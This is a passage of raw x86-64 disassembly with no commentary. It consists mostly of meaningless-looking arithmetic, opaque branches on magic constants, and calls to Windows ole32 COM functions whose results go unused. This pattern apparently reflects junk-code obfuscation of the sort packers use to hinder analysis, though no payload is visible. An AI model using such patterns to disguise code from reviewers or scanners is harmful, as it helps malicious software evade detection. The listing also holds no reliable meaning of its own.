mov byte [rcx], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
cmp dword [rsp + 0x3918], 0xc249
jb 0x14000929b
mov rax, qword [rsp + 0x6970]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov ecx, dword [rcx]
mov edx, dword [0x1401dd004]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x1401c19ec
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xf48]
sub ecx, edx
cmp eax, ecx
jl 0x140009879
lea rax, [rsp + 0x172]
mov qword [rsp + 0x69f8], rax
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
movzx ecx, byte [rsp + 0x172]
mov rdx, qword [rsp + 0x6898]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140009829
movsx eax, word [rsp + 0xf48]
mov dword [rsp + 0x391c], eax
cmp dword [rsp + 0x391c], 0
je 0x14000978b
cmp dword [rsp + 0x391c], 0x5f15
je 0x140009812
jmp 0x140009827
lea rax, [rsp + 0xf44]
mov qword [rsp + 0x6a00], rax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x170]
shl eax, cl
mov byte [rsp + 0x171], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf4c], ax
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x6a08], rax
lea rax, [rsp + 0x38cc]
mov qword [rsp + 0x6a10], rax
lea rax, [rsp + 0x6978]
mov qword [0x1401de368], rax
mov rax, qword [rsp + 0x6920]
mov qword [rsp + 0x6a18], rax
jmp 0x140009827
lea rcx, [rsp + 0xf44]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x3900], eax
jmp 0x140009874
mov rax, qword [rsp + 0x69b8]
mov rcx, qword [rsp + 0x69f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x38cc]
mov edx, dword [rsp + 0x38c0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140009874
mov rax, qword [0x1401de368]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
jmp 0x140009986
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
mov dword [rsp + 0x3920], eax
cmp dword [rsp + 0x3920], 0xa0
je 0x1400098bc
jmp 0x140009966
lea rcx, [rsp + 0x68b0]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0x3894], eax
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x3924], eax
cmp dword [rsp + 0x3924], 0x4cb5beef
je 0x14000990e
jmp 0x140009943
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf4c]
add eax, ecx
mov word [rsp + 0xf40], ax
movzx edx, word [rsp + 0xf4c]
mov rax, qword [rsp + 0x69f8]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
jmp 0x140009964
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
jmp 0x140009986
mov r8, qword [0x1401de358]
mov rax, qword [rsp + 0x6968]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x16f]
call fcn.1401c2870
nop
cmp dword [rsp + 0x38b0], 0x5007
ja 0x140009fa1
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf48]
sub eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401de360], rax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a18], rax
mov rax, qword [rsp + 0x6970]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x172], al
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
or eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf44], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69d0]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a10]
mov ecx, dword [rsp + 0x38cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x172]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
add eax, ecx
mov rcx, qword [rsp + 0x69e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
and eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6920]
shl rax, cl
mov qword [0x1401de358], rax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a8]
mov qword [rsp + 0x6a20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a20]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf4c]
and eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x170]
sub eax, ecx
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x69f0]
mov rcx, qword [rsp + 0x6a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x6a08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6920]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x69a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
sar eax, cl
mov rcx, qword [rsp + 0x69e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a10]
mov ecx, dword [rsp + 0x38cc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov dword [0x1401dd008], eax
mov rax, qword [0x1401de368]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov eax, dword [rsp + 0x38b0]
add eax, 0xb5
mov dword [rsp + 0x38b0], eax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6970]
mov rcx, qword [rsp + 0x68b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov eax, dword [rsp + 0x38cc]
mov rcx, qword [rsp + 0x69f0]
mov qword [rsp + 0x6a28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1401de360], rax
jmp 0x140009986
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6a18]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf40]
mov dword [rsp + 0x3928], eax
cmp dword [rsp + 0x3928], 0
je 0x140009ff1
cmp dword [rsp + 0x3928], 0x7bd4
je 0x14000a09f
jmp 0x14000a212
lea rax, [rsp + 0x16f]
mov qword [rsp + 0x6a30], rax
mov rax, qword [0x1401de368]
mov rax, qword [rax]
mov qword [rsp + 0x6a38], rax
cmp qword [rsp + 0x6a38], 0
je 0x14000a020
jmp 0x14000a05e
lea rax, [rsp + 0xdf]
mov qword [rsp + 0x6a40], rax
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
sar eax, cl
mov byte [rsp + 0x16f], al
jmp 0x14000a09a
lea rdx, [rsp + 0x6890]
lea rcx, [rsp + 0x2bb30]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x38d8], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xdf], al
jmp 0x14000a212
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x6988]
movzx eax, byte [rax]
mov byte [rsp + 0x392c], al
cmp byte [rsp + 0x392c], 0x7c
je 0x14000a0e0
jmp 0x14000a1be
mov rax, qword [rsp + 0x69f0]
mov rcx, qword [rsp + 0x6a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x38cc]
mov edx, dword [rsp + 0x38c0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14000a1a7
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x3930], al
cmp byte [rsp + 0x3930], 0x21
je 0x14000a186
cmp byte [rsp + 0x3930], 0x28
je 0x14000a135
jmp 0x14000a1a7
mov rax, qword [rsp + 0x69d0]
mov eax, dword [rax]
mov ecx, dword [0x1401dd008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [0x1401de360]
mov rcx, qword [rsp + 0x6978]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x6a50]
call qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [rsp + 0x3894], eax
jmp 0x14000a1a7
mov rax, qword [rsp + 0x68e0]
mov rcx, qword [rsp + 0x6a18]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
movzx edx, word [rsp + 0xf48]
movzx ecx, byte [str.sK:]
call fcn.1401c3b50
nop
jmp 0x14000a212
lea rax, [rsp + 0x69c0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x6988]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3934]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3878]
lea r8, [rsp + 0x6a50]
lea rdx, [rsp + 0x69b8]
lea rcx, [rsp + 0x69e0]
call qword [sym.imp.ole32.dll_CoQueryClientBlanket]
mov dword [rsp + 0x38d8], eax
mov rax, qword [0x1401de368]
mov rcx, qword [0x1401de360]
mov rax, qword [rax]
sub rax, rcx
cmp rax, qword [rsp + 0x6978]
jne 0x1401c18f7
movsx eax, word [rsp + 0xf40]
mov dword [rsp + 0x3938], eax
cmp dword [rsp + 0x3938], 0x876
je 0x14000a27e
cmp dword [rsp + 0x3938], 0xd18
je 0x14000a25f
jmp 0x14000a2ac
lea rdx, [rsp + 0x6920]
lea rcx, [rsp + 0x2bb00]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x38d8], eax
jmp 0x14000a2ac
mov ecx, 0x51
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov qword [rsp + 0x6a58], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [0x1401dd004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x393c], eax
cmp dword [rsp + 0x393c], 0x5c67861
je 0x14000a2c9
jmp 0x14000a320
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf4c]
add eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
lea rdx, [rsp + 0x2bb40]
lea rcx, str.Recyclable_Unconsecrated_unselfishness
call qword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [rsp + 0x3940], eax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
and eax, ecx
mov byte [rsp + 0x172], al
jmp 0x1401c1858
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x171]
add eax, ecx
mov byte [rsp + 0x16f], al
mov dword [rsp + 0x3944], 0xf068
cmp dword [rsp + 0x38b8], 0xf4e0
jb 0x14000a97c
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
xor eax, ecx
mov byte [rsp + 0xdf], al
mov eax, dword [rsp + 0x3878]
mov rcx, qword [rsp + 0x6970]
mov qword [rsp + 0x6a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a60]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6978]
mov rcx, qword [0x1401de368]
mov qword [rsp + 0x6a68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a68]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [0x1401de368]
mov rcx, qword [0x1401de360]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38c0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf48]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a18], rax
mov rax, qword [0x1401de360]
mov rcx, qword [rsp + 0x6978]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a08]
mov eax, dword [rax]
mov ecx, dword [0x1401dd004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x69b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x38cc]
shl eax, cl
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
or eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
mov rax, qword [rsp + 0x68e0]
mov rcx, qword [rsp + 0x6950]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401dd008], eax
mov rax, qword [rsp + 0x69b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov dword [rcx], eax
mov rax, qword [0x1401de368]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x170], al
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf44], ax
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0xdf]
xor eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6940]
mov qword [rsp + 0x6a70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a70]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401de358], rax
mov rax, qword [rsp + 0x6a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x38c0], eax
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
and eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x69a8]
mov qword [rcx], rax
mov rax, qword [0x1401de368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6978]
sub rcx, rax
mov rax, rcx
mov qword [0x1401de360], rax
mov rax, qword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x38c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x38cc], eax
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov eax, dword [rsp + 0x38b8]
sub eax, 0xa5
mov dword [rsp + 0x38b8], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
sar eax, cl
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6970]
mov eax, dword [rax]
mov ecx, dword [0x1401dd008]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
jmp 0x14000a344
mov rax, qword [rsp + 0x6978]
mov qword [rsp + 0x6a78], rax
movabs rax, 0x2d77e144fcdce8fb
cmp qword [rsp + 0x6a78], rax
je 0x14000a9b6
movabs rax, 0x61e827105bef358d
cmp qword [rsp + 0x6a78], rax
je 0x14000a9ef
jmp 0x14000aa1d
mov rax, qword [0x1401de368]
mov rcx, qword [0x1401de360]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
movzx edx, word [rsp + 0xf4c]
mov rax, qword [rsp + 0x6a40]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
jmp 0x14000aa1d
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0x3908], eax
mov rax, qword [rsp + 0x69a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
lea rax, [rsp + 0x38c0]
mov qword [rsp + 0x6a80], rax
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x172]
and eax, ecx
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x6898]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14000aae4
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
lea rdx, [rsp + 0xdf]
lea rcx, [rsp + 0x2bb20]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x3900], eax
movsx eax, word [rsp + 0xf48]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6a48]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a30]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x6a30]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
nop
jmp 0x1401c17b1
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov qword [rsp + 0x6a88], rax
